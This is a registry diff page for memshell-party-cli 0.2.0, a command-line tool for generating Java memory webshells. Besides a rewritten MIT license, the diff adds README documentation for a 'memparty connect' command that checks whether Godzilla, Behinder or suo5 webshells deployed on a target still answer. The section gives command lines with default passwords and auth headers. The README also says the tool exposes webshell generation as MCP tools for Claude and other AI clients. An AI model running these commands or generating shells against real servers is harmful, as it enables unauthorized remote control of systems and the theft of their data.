memshell-party-cli 0.1.1 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -21
- package/README.md +31 -0
- package/dist/cli.js +750 -6
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +53 -1
- package/dist/index.js +673 -1
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/{memshell-party/SKILL.md → SKILL.md} +21 -1
package/LICENSE
CHANGED
|
@@ -1,21 +1,21 @@
|
|
|
1
|
-
MIT License
|
|
2
|
-
|
|
3
|
-
Copyright (c) 2026 memshell-party-cli contributors
|
|
4
|
-
|
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
-
in the Software without restriction, including without limitation the rights
|
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
-
furnished to do so, subject to the following conditions:
|
|
11
|
-
|
|
12
|
-
The above copyright notice and this permission notice shall be included in all
|
|
13
|
-
copies or substantial portions of the Software.
|
|
14
|
-
|
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
-
SOFTWARE.
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 memshell-party-cli contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -14,6 +14,8 @@ same HTTP API that powers `party.mem.mk/ui`.
|
|
|
14
14
|
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
|
|
15
15
|
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
16
16
|
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
17
|
+
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
18
|
+
is alive and the credentials work (echo/handshake round-trip).
|
|
17
19
|
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
18
20
|
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
19
21
|
|
|
@@ -101,6 +103,35 @@ Probe method × content matrix (only these combos are supported by the backend):
|
|
|
101
103
|
| `Sleep` | `Server` |
|
|
102
104
|
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
103
105
|
|
|
106
|
+
### Testing a deployed shell
|
|
107
|
+
|
|
108
|
+
`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
|
|
109
|
+
it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
|
|
110
|
+
tunnel handshake) and exits 0 on success, 1 on failure.
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# Godzilla (defaults: --pass pass --key key)
|
|
114
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
115
|
+
|
|
116
|
+
# Behinder (default: --pass rebeyond)
|
|
117
|
+
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
118
|
+
|
|
119
|
+
# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
|
|
120
|
+
memparty connect -u http://target/suo5.jsp -t suo5
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
Shells generated by MemShellParty are gated by an auth header — the values are in the
|
|
124
|
+
`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
|
|
125
|
+
(the Suo5v2 shell checks it too):
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
129
|
+
--header-name User-Agent --header-value qSGAJScj
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
133
|
+
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
134
|
+
|
|
104
135
|
## Demos
|
|
105
136
|
|
|
106
137
|
End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
|